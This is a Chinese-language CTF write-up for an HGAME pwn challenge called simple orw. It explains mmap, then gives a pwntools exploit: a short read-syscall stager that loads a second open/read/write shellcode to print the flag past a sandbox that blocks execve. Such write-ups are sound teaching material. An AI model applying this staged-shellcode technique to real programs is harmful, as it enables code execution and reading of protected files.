先查看程序的保护状态
可以看到,保护全开,拖进ida看主函数的逻辑
可以看到有个mmap函数:
mmap() 函数是Unix和类Unix操作系统中的一个系统调用,用于在进程的地址空间中映射文件或者其它对象。这样做的好处是可以让文件直接映射到内存中,从而避免了频繁的文件 I/O 操作,提高了文件的读取效率。mmap() 函数的一般形式如下: c 复制代码 void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); 参数说明: addr:指定映射区的开始地址,通常设置为0,表示由系统自动分配。 length:指定映射区的长度,单位是字节。 prot:指定映射区的保护方式,如 PROT_READ(可读)、PROT_WRITE(可写)等。 flags:指定映射区的相关标志,比如 MAP_SHARED(多个进程可以共享该映射)和 MAP_PRIVATE(创建一个写时复制的私有映射)等。 fd:要映射的文件描述符,如果不是映射文件,则设置为 -1。 offset:指定文件映射的起始位置。 使用mmap()函数后,就可以通过对返回的指针进行读写操作,实际上就是对文件内容的读写。当不再需要映射时,可以使用munmap()函数取消映射。 总的来说,mmap() 是一个强大的系统调用,可以用于高效地处理文件的 I/O 操作,尤其适用于需要频繁读写文件内容的场景。 简单来说,就是将0xCAFE0000开始的位置,0x1000个字节大小的位置都修改成可读可写可执行,gdb动态调试用vmmap也能看到
可以看到,执行了vmmap函数之后,那段位置有了rwxp权限,接着继续看代码逻辑:read(0, (void *)0xCAFE0000LL, 0x10uLL);这里是往该地址输入内容,可以考虑shellcode,但是有长度限制,后面那段代码爆红,我们可以看一下其汇编代码
这里的call rdx就是跳转到我们0x0CAFE0000处,因为我们输入只有0x10个字节,我们可以考虑用syscall调用read函数,看代码:
code=''' mov rdi,rax mov rsi,0xcafe0000 syscall ''' shellcode=asm(code) io.send(shellcode) read的参数rdi,rsi,rdx,因为上图中eax已经赋值成0,read的syscall调用号也是0,所以刚好,更加参数这样设置就行,然后代码执行后,会继续读入数据,这一次的read读入的参数在rdx中,rdx前面已经被赋值过,可以读入很大的数据。 addr=0xcafe0000+0x100 shellcode1 = shellcraft.open("./flag") shellcode1 += shellcraft.read(3, addr, 0x50) shellcode1 += shellcraft.write(1, addr, 0x50) payload = asm(shellcode1) print(len(code)) io.send(b'\x90'*len(shellcode)+payload) io.interactive()接着就是利用orw的方法获得flag就行:
ORW
类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve
等),使得我们并不能正常 get shell
,只能通过ROP
的方式调用open
, read
, write
的来读取并打印flag
内容这里的io.send(b'\x90'*len(shellcode)+payload)是因为,read函数这边读入的数据依旧是从0x0CAFE0000读入的,调用read函数后会跳转到下一行代码继续执行,而read函数的调用是在我们上一个shellcode的最后一行,所以(b'\x90'*len(shellcode)+payload就是我们这个新的shellcode的地址
标签:调用,函数,映射,simple,orw,HGAME,read,mmap,shellcode From: https://www.cnblogs.com/GGbomb/p/17826111.html